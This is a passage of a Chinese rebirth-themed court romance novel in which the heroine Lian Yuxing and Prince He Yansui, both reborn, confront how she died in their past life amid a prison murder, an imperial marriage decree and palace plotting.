贺砚随没再听了,缓缓打开卷轴,上面密密麻麻都是账目。他一眼就看出这是莲玉荇舍命才保住的账本,庄尘拐卖人口、买卖私盐的证据。 贺砚随眼底情绪浮浮沉沉,复而合上了卷轴。 这下可以给庄尘定罪了。 ** 太守府地牢。 庄尘已没有之前的气派和嚣张,整个人缩在牢房的角落,像斗败的公鸡,嘴里还不停喃喃自语。 “你们不能抓我……你们没有证据……你们没有证据!” 庄尘忽然拔高了声音,巡视的狱卒被吓了一跳,手上的鞭子猛地挥了过去。 “给我老实点!”狱卒啐了一口,走远了。 庄尘抱着身子瑟瑟发抖,一双眼睛咕噜噜地转,忽地顿住,看向牢房门口。 因为庄尘所犯的案件重大,太守亲自下命令,把庄尘单独关在一个牢房。 此刻牢房门口多了一个狱卒,窸窸窣窣开着锁,庄尘猛然扑上前,脸上堆满了激动之色。 “你是来当我出去的吗?”庄尘赶忙问。 那狱卒低着头,看不清脸上的表情,没回答庄尘的问题,自顾自开着锁。 “咔哒。” 锁开了。 庄尘想冲出去,被狱卒伸手拦住去路,“别急。” 声音低沉沙哑,听起来有点阴森,庄尘隐隐觉得有点不对劲,但没有多想,往后退了几步。 狱卒终于抬起了头,庄尘也终于看清了面前之人的容貌,愕然地瞪大了眼睛。 “怎么是你?你来这儿干什么?”庄尘连连质问,背后瞬间起了一层冷汗。 狱卒冷笑出声:“你之前怎么说的,‘那些人一个都留不得了’,我帮你解决了难题,现在是不是也轮到你帮我了?” “怎么帮?”庄尘咽了咽口水。 狱卒不答,慢慢靠近庄尘,鞋子落在稻草上发出细碎的声音。 手起刀落。 庄尘还没来得及留下一句遗言,就翻着白眼,倒地不起了。 “你死了,就是帮了我大忙了。”狱卒留下一句话,悄无声息没了踪影。 不知道过了多久,有狱卒了放饭,看见庄尘背对着他睡在地上,“开饭了!” 喊了好几声都没反应,狱卒进门,才发现庄尘死了。 “来人呐!快来人呐!犯人被杀了!” 太守府正厅,太守江轩正和贺沅安畅谈,听到狱卒通报之时,声音都变了调,“什么?!” 犯人在太守府堂而皇之被人杀了,这简直是在打他平城太守的脸。 得赶快将此事告知丞相大人,他总觉得事情背后有更深的阴谋。 江轩用尽涵养才忍住没当场发飙,立马命人去善后。 而后转过头看 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许久未见,莲玉鹤原本想逗逗他的亲妹妹,可是肩上传来的湿润感觉,让莲玉鹤放弃了这个想法,转而安慰似地拍了拍莲玉荇的肩膀。 “难怪下人们那么高兴。”莲玉荇喜极而泣。 莲玉鹤三元及第,京都中无人不艳羡,不仅是因为他的才华,更是因为他的容貌。 芝兰玉树,清隽怡人。 莲玉鹤放开了莲玉鹤,站远了一点打量,莲玉鹤放任她打量。 黑了也壮了,少了状元郎的文弱气质。 “好妹妹,可看清了,以后有时间看。”莲玉鹤眉眼带笑,“快进去吧,别让父亲母亲好等。” 莲玉荇点点头,跟在莲玉鹤身后,和小时候一般。 “阿兄,你这次回来还走吗?”莲玉荇突然开口说话,莲玉鹤停住脚步,声音艰涩,“为什么这么问?” “陛下忌惮丞相府,不会这么轻易放你回京的。” 无非是敲山震虎,用莲玉鹤来镇住丞相府。 三元及第,是荣耀,也是枷锁。无数人趋之若鹜,又往往陷在牢笼之中。 莲玉鹤眼神突变,制止了莲玉荇继续说下去。 “阿荇,别说了,小心隔墙有耳。” 莲玉鹤拉着莲玉荇急匆匆走了一段路,确定周围没人,才放心下来。 “我这次回来,是向陛下述职,陛下觉得我资历尚浅,让我继续留在河西郡历练。”莲玉鹤平静地叙述着事实,听不出半点怨怼。 莲玉荇心疼兄长,她的哥哥本应该身穿官袍,风风光光地,而不是被变相流放到边境,偶尔才能回京见见家人。 真不公平。 莲玉鹤见她情绪不对,安慰道:“阿兄没事,我们一家人平平安安就好。” 对,平平安安就好。莲玉荇福至心灵,得到了一点安慰。 朝堂里危机四伏,莲玉鹤远在边境,倒也安全一点。 如果发生了什么意外,也暂时不会被牵连。 莲玉荇重重点头,和莲玉鹤相视一笑,驱散了心中阴霾。 22. 赐婚 袅袅烟尘顺着香炉往上浮,而后四散开来,浓烈的香气盈满整个房间。 男人站在香炉前拨弄,因为有屏风挡着,只看得到动作的手。 “回来了。”男人盖上香炉,悠闲地擦干净手上的香粉。 有人从门口进来,在屏风前站定,低着头,不敢随意看。 “回大人,淮安县的人属下已经处理干净了,没有留下活口,只可惜账本被丞相府的千金拿了去。” “另外,属下按照您的吩咐,在京都郊外伏击贺砚随,但是贺砚随身边的侍卫太难缠,被他给逃脱了,请大人责罚。” 若是贺砚随在这儿,定能认出这人就是他们在淮安跟丢了的钱敏。 钱敏对着屏风后的人躬身行礼,静静听候男人吩咐。 男人低下头理了理袖子,优哉游哉坐下,语调轻松,“倒也不是什么大事,知情人已死,光凭一个账本,他们掀不起什么风浪,何况,我已经找好替死鬼,不会查到我们身上。” 钱敏恭维道:“大人深谋远虑,钱敏佩服!” 男人没说话,气氛一下子沉闷了下来。“……那丞相府的小姐和贺砚随是什么关系?” “回大人,丞相小姐莲玉荇下平城原本是养伤,后来和景王贺沅安一起前往淮安查案,庄尘就是被他们抓了把柄。” 钱敏顿了顿,继续说:“只是不知道,莲玉荇何时与贺砚随关系这么好了,贺砚随竟然为了莲玉荇豁出性命。” “哦?”男人听起来对这件事很感兴趣,“有意思,景王不是一向和贺砚随不和,竟然能容忍。” 钱敏:“确实如此。” 夜风寒凉,男人只穿着单薄的衣裳,闷闷咳嗽了几声,钱敏赶忙道:“大人保重身体。” 男人随意道:“贺砚随好像还在找你,我在燕州组了一个侍卫营,这段时间你便去那里躲躲。等到时间成熟,我会派人告知你。” 说是侍卫营,实际上却是豢养私兵的地方,钱敏心知肚明。 要不是大人在他落魄之时拉了他一把,说不定他早就死了,更何况现在大人还如此重用于他。 大人信任他,他也不能辜负大人。 钱敏应声:“多谢大人!属下愿为大人效犬马之劳!” 男人挥挥手,钱敏就自觉退下了。 那就改日约景王见一面吧。男人心想。 ** “丛云!丛云!发什么呆呢?” 莲玉荇在丛云面前挥了挥手,丛云方才如梦初醒一般回过神,不好意思地笑笑。 莲玉荇吃着手里的糕点,探究的眼神在丛云身上扫了扫去。 “怎么了这是?我们姐妹这么久没见,你却是魂不守舍的。”莲玉荇打趣道。 “在想一些事情。”丛云笑笑,反问莲玉荇:“你才是叫我担心,先是在避暑行宫中毒,又一声不吭跑去平城,还在平城受伤,手上留了那么大一条疤。” 莲玉荇眯起了眼睛,这是有事瞒着她,这么快就岔开话题。 莲玉荇看破不说破,反驳她:“哪有?我明明给你留了信,你别污蔑我。” 两个人笑笑闹闹,眼睛里倒映这对方的身影。 “对了,我听说你哥哥回来了,那这次还要回河西郡去吗?”丛云问道。 此话一出,莲玉荇脸上的笑意收敛了不少,垂头丧气,提不起精神来。 莲玉荇拄着下巴,眼底闪过失落,“回,当然得回,边境那边好像有点不太平,陛下以阿兄资历不足为由,让阿兄继续回河西郡驻守。” 丛云没想到是这样,有些惊讶,“陛下平日里爱惜人才,犄角旮旯里的人才都能被他挖出来,怎么面前的能人就要放到那么远的地方呢。” 丛云还在说话,莲玉荇听得不甚清楚,眼底情绪不停翻涌,末了她闭上眼睛,再睁眼之时又是清明一片。 ** 中秋佳节至,京都各处都点起灯笼,装饰街道各处,长安街护城河附近有不少人在放河灯,节日气氛很浓重。 莲玉荇早早拉着莲玉鹤出门,没去别的地方,就去了寻仙楼排队买点心。 平日里寻仙楼的点心就排长队,恰逢中秋佳节,人就更多了。 莲玉荇心血来潮,非得自己排,和一群人挤了又挤,到最后弄的灰头土脸,又累又饿,还是换了下人去排。 过了两个时辰才排到,莲玉荇吃到的时候,眼睛都亮了,莲玉鹤看得想笑,“慢点吃,没人跟你抢。” 莲玉荇给妙青递了一块,把剩下的全递到莲玉鹤手上。 “阿兄,你尝尝看,寻仙楼的点心还是以前的味道,可好吃了。”莲玉荇看着莲玉鹤,满眼期待。 莲玉鹤迎着莲玉荇的目光,拈了一块放进嘴里,什么惊喜地点了点头,“确实不错,还是和以前一样好吃。” 莲玉鹤又把盒子塞到莲玉荇手里,不等莲玉荇说话,“阿荇,时间差不多了,晚上还得进宫,我们先回府。” 莲玉荇小鸡啄米似点头,“阿兄,那我们快回去吧。” 等莲玉荇沐浴更衣完毕之后,日头已经西斜,到了正厅,发现莲丞相和莲玉鹤都换上了官服,父子俩仿佛一个模子里刻出来的。 莲丞相虽然已是中年,气质卓然,站在人群里也引人侧目。莲玉鹤更不用说,湖蓝色的官服衬得他丰神俊朗,莲玉荇几乎移不开眼。 “父亲,阿兄。” 莲玉荇走上前,笑意盈盈道:“二位大人,只是中秋宴,何须打扮得如此夺目。” 莲丞相笑得见眉不见眼,相比之下莲玉鹤倒是淡然,“不能丢了妹妹的脸。” 三人闲谈几句,便上了进宫的马车,一路上遇到不少官场同僚,又寒暄几句,到太和殿之时已是傍晚。 宴席尚未开始,宫女和太监们忙着布置,金丝楠木的案几上摆满了精致的琉璃盏。 莲丞相他们刚落座,丝竹管乐之声起,舞女们衣袂飘飘,姿态轻盈,为宴会增添了趣味和雅致。 莲玉荇和莲玉鹤相对而坐,莲玉荇举起酒杯虚虚一敬,莲玉鹤噙着笑,顺着她回敬了一杯。 不少人都看了过来,莲玉荇目不斜视,饮尽酒杯里的酒水,放下了酒杯。 小半个时辰后,众人不约而同停住动作,望向上首,行礼叩拜,原来是昭文帝姗姗来迟,方才坐到了龙椅之上,身边坐着的是冠宠后宫的温贵妃。 莲玉荇远远看着昭文帝,觉得与避暑行宫相比,昭文帝似乎衰老了不少,眼角处多了不少细纹。 莲玉荇也是这时候才发现,龙椅下首两边,靠得最近的是贺砚 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片刻后,一身月白色衣裳的丛云走出宴席,跪在席凝身边,叩头行礼。 昭文帝满意地点点头,“也算是郎才女貌,既然如此,朕便为你们赐婚,钦天监替他们挑个良辰吉日,早日完婚吧。” 席凝和丛云叩头谢恩,退了下去。 经过这一番小插曲,宴席上的气氛活络了不少,文武百官举杯畅饮,好不痛快! ** 与欢快的情绪截然相反,莲玉荇心里烦闷,酒水一杯接一杯,不一会儿便悄然离席了。 莲玉荇顺着青石路踱步而行,不知不觉想了很多。 以常安侯夫人的性子,想必本就对丛云不满意,现下小侯爷不顾父母之命,请求昭文帝赐婚,更会惹得常安侯夫人不满。 还有,她和贺砚随的关系总是处在一种很奇怪的境地,连她也不知道怎么办了。 莲玉荇心烦意乱,随意踢飞了脚边的石头,石头咕噜噜翻滚,不知道撞上了谁的鞋子,停住了。 莲玉荇抬眼看,喝多了酒,眼睛视物很模糊,她使劲眨眼,面前的人影渐渐清晰。 她觉得自己的头在发昏,口无遮拦,就这么叫出了贺砚随的名字。 “贺砚随,你站在这里做什么,陛下一眼就能看出你离席了。” 贺砚随就这么站在原地,一动不动,“我想跟你说一件事……很重要的事。” “我头很晕很疼,而且我现在不想听你说话。”莲玉荇觉得自己很莫名其妙。 贺砚随还是一动不动。 莲玉荇觉得贺砚随挡了她的路,但是贺砚随不动,只能她自己绕过去。 正当她脚步虚浮,绕开贺砚随往前走的时候,贺砚随突然开口说了几句话,将莲玉荇定在原地,动弹不得。 “你重生了对不对?”贺砚随的语气十分笃定,仿佛早已经知晓。 “从赏花宴开始我就有所怀疑,再到平城的私盐案更加坚定了我的想法。” “我知道你的秘密,你有前世的记忆。” “所以,上一世到底发生了什么?莲玉荇,你能告诉我吗?” 23. 对峙 贺砚随的话句句振聋发聩,莲玉荇心神为之一震,酒醒了不少,昏沉的头因为惊吓清明许多。 重生这件事是莲玉荇深深埋在心底的秘密。 古往今来没听说过这类奇异之事,她从来没有向身边的人说过,否则稍不注意就要被当做妖孽祭天。 再着,重活一次,莲玉荇想做和前世不一样的选择。 可是……贺砚随不仅知道了莲玉荇重生的事,还如此堂而皇之说了出来。 莲玉荇浑身颤抖不已,手掌紧握,指甲几乎嵌进肉里,疼痛带来的刺激勉强支撑着她。 “你是怎么知道的?”莲玉荇艰难地发出声音,像是一字一句从喉咙里挤出来的。 莲玉荇努力回想重生以来发生的一桩一件,赏花宴、避暑行宫、淮安…… 头疼得厉害,莲玉荇不禁想,是她哪里漏出了破绽吗? 她知道贺砚随聪明绝顶,没想到贺砚随能根据蛛丝马迹推测出她重生这件事。 难道贺砚随也重生了?一个想法突兀出现在莲玉荇的脑海里。 这想法简直惊世骇俗。 莲玉荇不敢细想,说不定贺砚随真的重生了。 贺砚随嘴唇微张,平静地叙述着事实,没有丝毫震惊之色。 “赏花宴之时,你与丛云姑娘一起赴宴,明明是相看宴,你却处处看着丛云姑娘,仿佛怕她遭遇什么不测。” “再是你与莲夫人到广安寺上香,你看见我的时候特别惊讶,感觉特别怕我,若不是以我王爷的身份,你怕是早就跑了。”贺砚随看了莲玉荇一眼,“那时候我只是猜测,并没有实际证据。” “最后便是这次平城之时,你早早知道私盐一事,带着贺沅安匆匆赶往平城查探,顺藤摸瓜查到了淮安县令身上。” “这时候我才真正觉得,你能预知未来之事。” “更何况,你忘了,我们曾是相伴八载的夫妻。” 贺砚随把心里的想法悉数说出,轻松了不少,长长叹了一口气。 “所以,莲玉荇,你到底在隐瞒什么?”贺砚随顿了一会儿,说:“若你有所顾忌,那我也告诉你一个秘密——” 莲玉荇抬眼看他,脸上都是麻木之色,静静听贺砚随说话。 “我也重生了。” 贺砚随语气清淡,丝毫没觉得说出的话惊世骇俗。 莲玉荇平静的表情有点龟裂,似乎是没听清贺砚随所说,“你说什么?!” 怎么可能?怎么会这么巧,她死后重生了,贺砚随竟然也重生了? 那贺砚随也死了?怎么死的? 脑子里全都是一团乱麻,莲玉荇头痛欲裂,抬手捂住脑袋,几乎栽倒在地,下一瞬落入了一个温暖的怀抱。 贺砚随半搂半抱着她,声音沙哑,似乎是忍耐到极致,眼里闪过痛苦的神色,“阿荇,能不能告诉我,那个时候到底发生了什么事?我们以前明明不是这样的。” 前世贺砚随和莲玉荇相濡以沫,从王府到皇宫,全都是一步步相互扶持走过来的,情深意笃。 贺砚随十分笃定,前世之事必然有蹊跷,看莲玉荇痛苦的神色,应该并也不知情,反而因为某些原因对他有所误会,所以才会刻意远离他。 怀里的人突然剧烈挣扎起来,摇摇晃晃地站起身,使出很大的力气将贺砚随推了出去。 莲玉荇仿佛受了刺激,一下子变了脸色,又哭又笑,模样十分凄惨,“贺砚随,你想和我和好如初,回到以前是吗?你扪心自问,你说这句话的时候,是不是真心的!” “你或许不记得了。”莲玉荇扯了扯嘴角,挤出一抹笑意,不过带着讽刺意味。 “是你亲自下的旨意,赐鸩酒,让我给你殉葬!”莲玉荇最后一句话几乎是吼出来的。 要不是这里离办宴席的地方比较远,没什么人烟,早就引来一大批人了。 “你说什么?!”贺砚随表情十分错愕,没想到莲玉荇竟然会这样说。 前世他忙着在边境打仗,心里记挂莲玉荇,心疼还来不及,怎么会赐死她呢。 想说的话在舌尖滚了几圈,又被贺砚随咽了下去。 他突然想起受伤昏睡时做的那个梦。 梦里莲玉荇饮下鸩酒,狼狈不堪地倒在地上,而自己在门外窥见全部。 莫不是不是梦,而是莲玉荇前世真实经历过的事情,而他…… 早已经死了。 贺砚随垂下眼睑,一股落寞和心疼油然而生,他从袖子里掏出一把嵌着宝石的匕首。 刀背上刻着字,贺砚随抬起头,对上莲玉荇的眼睛,坚毅有神:“既然如此,那你往我这儿来一刀,解你心头之恨。”贺砚随用手指了指心口的位置。 贺砚随快步走到莲玉荇面前,用不容莲玉荇拒绝的力度,把匕首塞到她手里,随后将匕首靠近胸口的地方。 “来。”贺砚随拉着莲玉荇的手往用力,几乎要怼进皮肉里。 莲玉荇显然没想到贺砚随会把刀递到她手里,还让她自己动手。 莲玉荇使劲挣了挣,没挣来,眉头紧皱,“贺砚随你发什么疯?贺砚随,放开!” 贺砚随仿佛没听到,就这么捏着莲玉荇的手,“除非你答应我,我们好好地把事情说清楚。” “做梦!”怒气上涌,莲玉荇脸变得潮红,显然是气急了。 想用这种方法来逼迫她就范,打得一手好算盘。 莲玉荇心里冷笑,假意妥协,趁贺砚随不注意,猛地用力挣来,匕首掉在地上发出脆响。 气氛变得十分古怪,莲玉荇和贺砚随就这么站着,谁都没有动作。 莲玉荇胸口上下起伏,看来被贺砚随气狠了,心口处刺痛不已。 “阿荇!阿荇!” 莲玉鹤在叫她,莲玉荇狠狠瞪了贺砚随一眼,那时候脾气也没那么执拗和疯狂,现在多少脑子有点不好。 莲玉荇揉了揉发痛的手腕,头也不回地走了。 中秋宴已经散席了,文武百官世家公子小姐已经走得差不多了。 方才情绪崩溃的女子已经恢复平静,在兄长面前表现得十分乖巧活泼。 贺砚随整个人隐没在黑暗中,眼瞳如墨一般浓重,而后悄然散开。 ** 景王府来了贵客。 贺沅安刚从后院出来,就有下人来报,“回王爷,八王爷已经在书房等候。” 贺沅安挑了挑眉,一边净手,一边说话:“八皇叔平日里是大忙人,神龙见首不见尾,怎么来我府上了?” 嘴上这么说,贺沅安还是往书房走 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八王爷贺凭舟是昭文帝的哥哥,文才惊世,武略也不错,比昭文帝略盛一筹,只是最后登上帝位的不是八王爷,而是昭文帝。 不过八王爷平日里喜爱游山玩水,对权势没什么欲望,在京都待的时间很少,旁人也很少有机会见到他。 现在特地来找贺沅安,也挺惊奇的。 贺沅安给贺凭舟倒了茶,“皇叔尝尝这茶,岭南送来的尖茶,皇叔平日里游历山水,见过的好茶肯定数不胜数,今日便在侄儿这里委屈一下了。” “这是什么话。”贺凭舟笑了笑,端起茶杯饮了一口,“口齿生津,回味留香,是好茶,好茶。” 贺沅安:“皇叔喜欢就好。” 两人寒暄了一阵,贺沅安开口问道:“不知道皇叔今日前来,是为何事?” 贺凭舟放下杯子,顿了一会儿,似乎有点儿难以启齿,“皇叔来你府上,是想请你帮我找一件东西。” “什么东西?”贺沅安问。 贺凭舟不答,从袖口掏出一张纸,上面绘着图案,花纹精致有型,看上去像一个印章。 贺沅安只看了一眼,便明白过来,“皇叔对这东西有想法,不如直接去找这位大人,何需来找我?” 贺沅安话里话外透露着拒绝之意,贺凭舟有些失望,但是很快便调整过来,转变了话题。 “我听说你和你兄长的关系还是像从前那般,都是兄弟,哪有隔夜仇。”贺凭舟似乎很是怀念从前,长长叹气。 贺沅安脸色微变,拉下了脸,语气也沉了下来,十分不悦。 “皇叔既然知道我和贺砚随的事情,便不该提起。” 贺凭舟神色淡淡,“我知道你一直和贺砚随在争那个位置,皇叔有个法子,可以让贺砚随吃苦头,还能让陛下对他失望。” “不知道你愿不愿意?” 贺凭舟放轻了声音,带着蛊惑力的话钻进了贺沅安的脑袋里,催促他快点同意。 贺沅安眯起眼睛,看向贺凭舟的眼神意味深长。 良久,贺沅安终于松口,“那便依皇叔所说。” 24. 嫁妆 从宫里回来之后,莲玉荇便把自己锁在房间里,任凭别人怎么叫都不答应。 莲玉荇一身单衣坐在床上,眼神呆滞。 酒意上头时的勇气已经不见了,她不知道当时就把自己的底细透露出去了。 要是贺砚随是诈她的,她不就自己暴露身份了。 要是贺砚随说的是真的,他怎么有脸问她前世的事情,明明是他自己做出来的。 莲玉荇烦躁地揉了揉头发,过肩的乌发被她弄得乱糟糟的,全然不像一个世家贵女的模样。 平日里的聪明才智,在遇到这等匪夷所思的事情时丢了个精光。 她现在去跟贺砚随说,所有的事情都是她胡诌的,贺砚随应该不会信吧。 莲玉荇往后仰头,平躺在床上望天,终于得出结论:此事无解。 那贺砚随为什么要问自己前世之事,难道他并不知情? 莲玉荇忽地摇摇头,说不准是贺砚随胡编乱造,用来哄骗她的。 就这样,莲玉荇提出一个个猜想,随后又被自己推翻,循环往复。 直到房门被叩响,莲玉鹤温柔的声音从门外传来,“阿荇,好些了吗?” 莲玉荇的思绪被打断,索性不想了,她已经在房间里躲了这么多天,总不能躲一辈子,该面对的还得面对。 莲玉荇快速穿好衣裳,用簪子随意绾起头发,打开了门。 “阿兄。”莲玉鹤的眼神仿佛能穿透人心,莲玉荇不着痕迹侧开头,躲开莲玉鹤的窥探。 莲玉鹤默契地没问,只说:“这几天都没好好吃饭,我让后厨给你做了一点粥,你待会儿喝一点,垫一垫复习。” 中秋宴那晚,莲玉鹤到花园里找到莲玉荇的时候,撞见莲玉荇和端王殿下有了肢体接触,而后莲玉荇便推开了贺砚随。 女儿家的心事细腻,莲玉荇从小就有主意,莲玉鹤也不会多做干预。 人生大事,还是需要自己做决定,以后也不会后悔。 莲玉鹤又道:“方才我来的时候遇见丛云姑娘了,好像是来找你的。” 莲玉鹤的语气很随意,像是随口提起,又不会惹人怀疑和反感。 “那日丛云姑娘和席凝世子被陛下赐婚之后,我看你脸色不太好,要不要……”莲玉鹤提出建议。 “不要!”莲玉荇已经知道莲玉鹤要说什么,从小一起长大的闺中密友,她也不舍得不见。 “但是,阿兄,你不许说是我让她来的……”莲玉荇忽然有点扭捏,十分不好意思。 和平日的性格不太相符。 “好好好。”莲玉鹤连连答应,笑得宠溺,他还不知道 莲玉荇的小心思,心里别扭又不好意思说出口,只得让他这个兄长做个台阶。 “你且等着吧。”莲玉鹤留下一句话就离开了,没看到身后莲玉荇望眼欲穿的模样。 ** 粥早就送到了,莲玉荇心不在焉,手上的勺子抬起又放下,相当于没吃。 莲玉荇想起来看看外面,门忽然被叩响,莲玉荇赶忙又坐了回去,端出丞相府千金的贵气模样。 “进来。”莲玉荇冷冷说话。 丛云身上穿着莲玉荇送她的那件不时兴的衣裳,慢吞吞地走了进来,说话闷声闷气,“阿荇,我错了。” 莲玉荇头也没抬,“错哪儿?” 丛云原本提心吊胆地,但是见莲玉荇愿意理会她,悬着心放了下来,赶紧表明忠心。 “我不该瞒着你和席凝有了牵扯,更不该放任席凝在中秋宴上请求陛下赐婚。”丛云越说底气越小,声音渐渐弱了下来。 “知道你还不与我说。”莲玉荇板起脸,一脸恨铁不成钢。 莲玉荇没好气道:“那日我来找你,你心事重重就是在想这件事。” 丛云犹豫着点点头。 “你可知道常安侯夫人是何脾性,赏花宴之时常安侯夫人的言谈举止你也看见了,十分遵从权势,可能会看不起你的身世。加上席凝不顾父母之命媒妁之言,当着文武百官的面求陛下赐婚,此事已然不可转圜。”莲玉荇道。 莲玉荇对上丛云的眼睛,道:“常安侯和常安侯夫人不会去怪罪陛下和小侯爷,只会把气撒在你身上。” 丛云咂摸出莲玉荇话里的意思,哑然:“要真是这样的话,我以后的日子可不好过了。” “阿云,你老实跟我说,你和席凝是真心相爱吗?”莲玉荇忽然拉住丛云的手,语气郑重地问她。 丛云愣了片刻,重重点头,“小侯爷对我很好,从来没有看轻我的身份,反而十分尊重。” 莲玉荇喃喃道:“那便好。” “你只管安心等常安侯府上门提亲,剩下的交给我。” 莲玉荇目光灼灼,给丛云吃下了一颗定心丸。 ** 端王府。 十九亲自把大夫送到府外,一脸愁容往回走,刚好碰上要出任务的迎月,扯出一个比哭还难看的笑容。 迎月一脸嫌弃:“十九,你拉着个脸干什么,不知道的还以为你给谁哭丧呢。” “我也不想,可是主子已经卧床好几天了,整天茶不思饭不想,有一次我看他咯血,偷偷把沾血的帕子藏起来了,估计是不想让人看见。”十九唉声叹气,真心为贺砚随的身体担忧。 前几日中秋宴的时候,正好赶上迎月出任务,这中间的事情她一概不知。 此刻从十九口中了解了一个大概,那晚主子好像单独和莲姑娘见面了。 不过主子的身体越发糟糕了,这样下去可不得了。看主子的症状,不像是旧伤复发,倒像是得了心病。 迎月摩挲着下巴,有了主意,招招手示意十九凑过来,在他耳朵说了几句话,“你便按照我跟你说的方法去做。” 十九狐疑,看上去不是很相信迎月的话,“这样……是吗?” “试试不就知道了。”迎月抬起了下巴,十分傲娇,“信不信由你,不跟你说了,我得出任务去了。” 十九摸了摸脑袋,“迎月最近出任务的次数有点多啊。” 他怎么不知道迎月这么爱出任务。 ** 虽说是当今陛下亲自赐婚,但是三书六礼的仪式不能少。 常安侯府上丛府提亲那天,莲玉荇早早备了几份厚重的嫁妆,让下人敲锣打鼓送到丛府,正好与常安侯派来提亲的人撞上。 一伙人面面相觑,看着丞相府的下人们跟在他们身后入了府,丛老爷看到这番场景时也愣住了,片刻后才反应过来,莲玉荇这是在给自家姑娘撑腰。 丛云也才知道,莲玉荇会这般声势浩大地给她送来嫁妆,给她撑腰,在旁人看不见的地方红了眼眶。 送嫁妆 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莲玉荇哽着一口气,垂着眼,忍下眼泪。 莲玉鹤的声音从远处传来,“阿荇,阿兄此去归期不定,若有机会,你便来河西郡,阿兄带你游遍河西!” “好!”莲玉荇忽地往前跑,声音渐渐地消散在风中,没了痕迹。 回来的路上,街上的百姓都在传,端王贺砚随身患重病,卧床不起,似乎就快不行了。 莲玉荇心里突地一跳,没来由得慌了一瞬,到了丞相府门口,耳边都还是百姓说的话。 “小姐,小姐。”妙青把手上的东西在莲玉荇面前晃了晃,“小姐快看,我在刘老伯家买到的焖鸭,可香了!正好给小姐补补身体。” 莲玉荇边走边说:“阿兄刚离开,我心里难过得紧,啥也吃不下,你自己拿去吃了吧。” 听了这话,妙青脸上的喜色突然就消失了,看上去很失望。 “不过,看你一片苦心,那我就尝一尝。”莲玉荇反应很迅速,“走吧。” 傻姑娘,估计是阿兄离开之后,担心她心情不佳,想让她开心点。 妙青又重新笑开了,“来啦小姐。” 莲玉荇用筷子夹了一块尝尝,果然不错,“刘老伯的手艺越来越好了。” “小姐喜欢就好!”妙青眉眼弯弯,“小姐,我回来的路上听到一件八卦之事,不知道小姐想不想听?” “你说。”莲玉荇伸手去夹盘子里的肉,一边听着妙青说话。 没人不爱听八卦。 “那我说了啊,听说端王得了重病,连请了几位大夫都没什么用,端王卧床不起好几天了。” “有人说是不怀好意的人给端王下了毒,想让他就此……”妙青适时止住了话头。 她继续说:“还有人说,端王是受了情伤,整天茶不思饭不想,就想着那位姑娘,听说还咳血了。” 莲玉荇夹肉的手突然一抖,肉又重新掉回盘子里去。 莲玉荇没心情吃了,索性放下筷子,淡淡道:“不吃了,拿下去吧。” 妙青不知道莲玉荇心里的想法,疑惑不已,但还是端着满满当当的盘子退下了。 贺砚随有这么脆弱?莲玉荇在心里说道。 25. 如月 夜色渐深,惨白的月光洒在地上,院子里树叶掉了一地,微风拂过有窸窸窣窣的响声,听上去有点可怖。 卧房内只有一盏烛火照明,照不到屏风后,只能借着窗户外透进来的丝丝缕缕月光视物。 因为卧床时间已久,贺砚随浑身无力,也直起身子的力也没有,虚弱地躺在床上。 贺砚随费力支起身子,靠在床头喘息,刚缓过来,喉头处突然传来一阵痒意,接连而来的是铺天盖地的咳嗽声,止都止不住。 暗室里时不时回荡着声音,主人的呼吸声渐渐急促起来。 喉咙里仿佛干涸了很久的旱地,贺砚随声音沙哑:“十九,倒水来……” 房间里安静地可怕,贺砚随闭上眼,片刻后他睁开眼,拿起床头放着的砚台砸了出去。 房梁之上蹲着一个暗卫,看到贺砚随的困窘模样,胆战心惊,正准备跳下来,瞥见房门口的秀丽身影,又躲了回去。 砚台落地,被砸得四分五裂,残骸咕噜噜滚了出去,撞在一双绣鞋上停了下来。 贺砚随倏然抬头看过去,刹那间眼里闪过狠厉,片刻后悉数变成了错愕。 原本昏暗的卧室被打开了,门外的月光带门口站着的那人带了进来。 那日痛骂他的女子,他心心念念的女子,就这么出现在他面前。 贺砚随几乎以为是自己病入膏肓,眼花了,直到他视线清明起来,才终于确定面前之人是真实存在的。 “你……怎么来了?”贺砚随艰难开口,似乎有些难以启齿,而后把视线从莲玉荇身上移开。 这一切都被莲玉荇看在眼里。 莲玉荇没说话,视线也没放在贺砚随身上,眼睛将四周看了个遍,最后重新落回到床上的那个人。 短短几日不见,便把自己搞成了这个样子。莲玉荇狠狠皱眉。 原本还以为坊间百姓所言都是虚构,莲玉荇看着面前瘦削的人,终于相信“端王殿下得了重病,快要死了”这句话。 莲玉荇心想,就算没死,也离死差不多了。 她不认为自己有多大的魅力,会让贺砚随为了她相思成疾。 贺砚随的病应该是积劳已久,加上之前受了旧伤,在中秋宴上收到刺激,终于爆发出来了。 莲玉荇掩盖住眼底的情绪,走到桌前倒了水,递到贺砚随嘴边,“喝吧。” 贺砚随愣了一会儿,有点不知所措,手抬起又放下,但莲玉荇没有放手的意思,他便就着莲玉荇的手慢慢喝水。 期间贺砚随的唇不小心碰到了莲玉荇的手,眼神多了几分慌乱。 莲玉荇神情镇定自若,仿佛没感觉一般,把杯子放回桌上,顺势在桌边坐下,眼神灼灼盯着贺砚随。 喝了水之后,原本干渴不已的贺砚随慢慢缓了过来,察觉到莲玉荇探究的目光,身子一僵。 那日莲玉荇态度坚决,看样子一辈子绝对会和他老死不相往来,所以他哀莫大于心死,回府没几天就病倒了,并且还越来越严重了。 现在莲玉荇夜半时分来找他,是什么意思? 贺砚随心里猜测不断,惴惴不安,面上勉强维持着冷静。 还没等贺砚随开口说话,莲玉荇先行开口:“中秋宴那日我说的话你别放在心上,都是胡话。” 莲玉荇对贺砚随知道她重生一事,已然放平心态,反正说出去也没人会信。 如果贺砚随拿这件事威胁她的话,她便四处散播端王贺砚随脑子有病! 贺砚随闻言一喜,莲玉荇愿意和他解释,那他们重归于好岂不是有希望了。 “你也别太欢喜。”莲玉荇淡淡开口:“我今日来,是要找你问清楚一些事,不是为了和你叙旧的。” “夫妻十年,你应当知道我的性子,重要的事情我不会拖延,今天我来事为了知道那件事的始末。” 贺砚随眼睛里满是疑惑,“哪件事?” 大约是病得太久了,脑子也不太灵光了,导致贺砚随一下子没反应过来。 莲玉荇的眼神忽然冷了下来,脸色不太好,严肃道:“贺砚随,你最好如实跟我说,永宁十年边境动乱之时,到底发生了什么事?” 夜风忽起,窗户不知道什么时候被打开了。 提及这件事,贺砚随突变,痛苦地闭上眼睛,似乎想起了什么不好的事情。 莲玉荇没催他,如若贺砚随真的没下诏书鸩杀她,那他们必然被背后设局之人玩弄于股掌之中了。 良久,贺砚随渐渐平静下来,眼睛里古井无波,开始讲述永宁十年发生过的种种事情。 “那时候,我带着大军去往河西郡迎击突厥士兵……” …… 